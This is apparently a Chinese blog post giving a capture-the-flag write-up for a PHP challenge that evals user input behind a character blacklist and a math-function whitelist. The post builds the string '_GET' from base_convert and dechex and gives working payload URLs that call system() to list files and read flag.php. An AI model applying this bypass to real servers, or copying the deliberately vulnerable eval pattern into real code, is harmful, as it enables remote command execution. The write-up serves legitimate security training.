<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){    show_source(__FILE__);}else{    //例子 c=20-1    $content = $_GET['c'];    if (strlen($content) >= 80) {     //判读长度不能超过80        die("太长了不会算");    }    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];  //过滤特殊符号    foreach ($blacklist as $blackitem) {        if (preg_match('/' . $blackitem . '/m', $content)) {            die("请不要输入奇奇怪怪的字符");        }    }    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; //给定了指定函数    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);      foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    //帮你算出答案    eval('echo '.$content.';');  //最后执行}

这里需要了解两个函数:
base_convert()

img

img

<?phpecho base_convert(37907361743,10,36)(dechex(1598506324));?>//输出//_GET        <?php$a =  base_convert(37907361743,10,36)(dechex(1598506324));var_dump($$a);?>    // 返回一个数组// array(0) { } <?php$a =  base_convert(37907361743,10,36)(dechex(1598506324));eval($$a['a']);?>//变成了一个后面

image-20211025182540243

$pi=base_convert(37907361743,10,36)(dechex(1598506324));          //_GET$$pi      //$_GET$$pi{abs}($$pi{acos})      //$_GET($_GET[acos])注意:payload用了花括号代替方括号
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

image-20211025183323623

然后直接cat它

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php

image-20211025183555005

参考文章:https://www.jianshu.com/p/4352534aacbd

posted @ 2021-10-25 18:40  甘雨小可爱!  阅读(1491)  评论(0)    收藏  举报